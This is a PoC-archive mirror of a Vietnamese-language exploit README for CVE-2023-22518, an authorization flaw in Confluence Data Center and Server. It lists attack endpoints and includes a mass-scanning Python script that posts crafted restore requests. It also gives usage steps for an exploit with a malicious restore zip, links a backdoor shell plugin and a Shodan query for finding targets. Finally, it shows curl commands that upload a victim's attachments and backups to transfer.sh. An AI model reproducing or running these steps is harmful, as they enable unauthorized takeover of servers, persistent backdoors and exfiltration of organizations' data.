Associated Vulnerability
Title:Atlassian Confluence Data Center 和 Confluence Server 安全漏洞 (CVE-2023-22518)Description:All versions of Confluence Data Center and Server are affected by this unexploited vulnerability. This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a Confluence instance administrator account. Using this account, an attacker can then perform all administrative actions that are available to Confluence instance administrator leading to - but not limited to - full loss of confidentiality, integrity and availability. Atlassian Cloud sites are not affected by this vulnerability. If your Confluence site is accessed via an atlassian.net domain, it is hosted by Atlassian and is not vulnerable to this issue.
Description
Lỗ hổng ủy quyền không phù hợp trong Trung tâm dữ liệu Confluence và Máy chủ + bugsBonus 🔥
Readme
# CVE-2023-22518
Lỗ hổng Phân Quyền Không Chính Xác trong Confluence Data Center và Server.
Atlassian đã cảnh báo quản trị viên về lỗ hổng nghiêm trọng trong Confluence. Việc khai thác lỗ hổng này có thể dẫn đến mất dữ liệu, do đó nhà phát triển khuyến cáo bạn nên cài đặt bản vá ngay lập tức.
Được lưu ý rằng lỗ hổng không thể được sử dụng để rò rỉ dữ liệu và không ảnh hưởng đến các trang Atlassian Cloud được truy cập qua tên miền atlassian.net.
[Thông tin chi tiết về lỗ hổng](https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html)
[Trang Jira Atlassian](https://jira.atlassian.com/browse/CONFSERVER-93142)
| Sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|-----------------------|----------------------------------|-------------------------|
| Confluence Data Center | Tất cả phiên bản đều bị ảnh hưởng | 7.19.16 trở lên |
| Confluence Server | | 8.3.4 trở lên |
| | | 8.4.4 trở lên |
| | | 8.5.3 trở lên |
| | | 8.6.1 trở lên |
## Khai thác
Loại: Phân quyền không chính xác
CWE: [CWE-285 / CWE-266](https://cwe.mitre.org/data/definitions/285.html)
ATT&CK: [T1548.002](https://attack.mitre.org/techniques/T1548/002/)
## Các véc-tơ tấn công đã biết 🔥
/json/setup-restore.action
/json/setup-restore-local.action
/json/setup-restore-progress.action
/server-info.action [Diễn đàn](https://community.atlassian.com/t5/Confluence-questions/Is-CVE-2023-22515-also-exploitable-via-server-info-action/qaq-p/2501129)
## Ví dụ đơn giản về kiểm tra lỗ hổng bằng Python
```
import requests
import random
import string
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(length=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))
def post_setup_restore(baseurl):
paths = ["/json/setup-restore.action", "/json/setup-restore-local.action", "/json/setup-restore-progress.action", "/server-info.action"]
for path in paths:
url = f"{baseurl.rstrip('/')}{path}"
headers = {
"X-Atlassian-Token": "no-check",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7"
}
rand_str = random_string()
data = (
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"buildIndex\"\r\n\r\n"
"true\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
f"Content-Disposition: form-data; name=\"file\";filename=\"{rand_str}.zip\"\r\n\r\n"
f"{rand_str}\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
"Upload and import\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7--\r\n"
)
try:
response = requests.post(url, headers=headers, data=data.encode('utf-8'), timeout=10, verify=False)
if (response.status_code == 200 and
'The zip file did not contain an entry' in response.text and
'exportDescriptor.properties' in response.text):
print(f"[+] Vulnerable to CVE-2023-22518 on host {url}!")
else:
print(f"[-] Not vulnerable to CVE-2023-22518 for host {url}.")
except requests.RequestException as e:
print(f"[*] Error connecting to {url}. Error: {e}")
def main():
parser = argparse.ArgumentParser(description="Post setup restore script")
parser.add_argument('--url', help='The URL to target', required=False)
parser.add_argument('--file', help='Filename containing a list of URLs', required=False)
args = parser.parse_args()
if args.url:
post_setup_restore(args.url)
elif args.file:
with open(args.file, 'r') as f:
for line in f:
url = line.strip()
if url:
post_setup_restore(url)
else:
print("You must provide either --url or --file argument.")
if __name__ == "__main__":
main()
```
## Sử dụng kịch bản khai thác 🔥
[exploit.py](https://github.com/ForceFledgling/CVE-2023-22518/blob/main/exploit.py)
```
pip install pycryptodome
python3 exploit.py
Nhập URL: http://domain/json/setup-restore.action?synchronous=true
Nhập đường dẫn tới file .zip: /path/xmlexport-20231109-060519-1.zip
```
## BugsBonus 🔥
Tìm kiếm Shodan:
```
http.favicon.hash:-305179312
```
[exploit-restore.zip](https://github.com/ForceFledgling/CVE-2023-22518/blob/main/xmlexport-20231109-060519-1.zip)
[Ứng dụng Confluence Backdoor Shell](https://github.com/ForceFledgling/CVE-2023-22518/blob/main/atlplug.jar)
Khi khôi phục Confluence sử dụng lỗ hổng này, thư mục %CONFLUENCE_HOME%/attachments vẫn chứa đầy tệp tin, có thể lên đến hàng ngàn. Việc trích xuất chúng khá đơn giản, và phần mở rộng của chúng có thể được xác định bằng lệnh file của Linux. Ví dụ:
```
file /var/lib/confluence/attachments/v4/191/28/77273124/77273124.1
/var/lib/confluence/attachments/v4/191/28/77273124/77273124.1: PNG image data, 442 x 170, 8-bit/color RGBA, non-interlaced
Hoặc
file /var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1
/var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1: PNG image data, 1250 x 674, 8-bit/color RGBA, non-interlaced
```
Ví dụ về cách lưu trữ một thư mục dễ dàng và giải nén lưu trữ:
```
tar -czvf /var/atlassian/application-data/confluence/attachments_backup.tar.gz /var/atlassian/application-data/confluence/attachments
curl --upload-file /var/atlassian/application-data/attachments_backup.tar.gz https://transfer.sh/attachments_backup.tar.gz
https://transfer.sh/***********/attachments_backup.tar.gz
or
curl --upload-file /var/atlassian/application-data/confluence/backups/backup-2023_09_26.zip https://transfer.sh/backup-2023_09_26.zip
https://transfer.sh/***********/backup-2023_09_26.zip
```
[Bài báo về backdoor mới tồn tại ngay cả sau khi vá lỗ hổng nghiêm trọng của Confluence](https://www.theregister.com/2023/11/14/novel_backdoor_persists_confluence/)
##
[Thông tin hữu ích khác](https://github.com/ForceFledgling/CVE-2023-22518/blob/main/DETAIL.md)
File Snapshot
[4.0K] /data/pocs/5ff4a370b104668305ef8bf980db8bced79c4e29
├── [9.3K] atlplug.jar
├── [7.4K] DETAIL.md
├── [5.2K] exploit.py
├── [1.0K] LICENSE
├── [6.8K] README.md
└── [846K] xmlexport-20231109-060519-1.zip
0 directories, 6 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →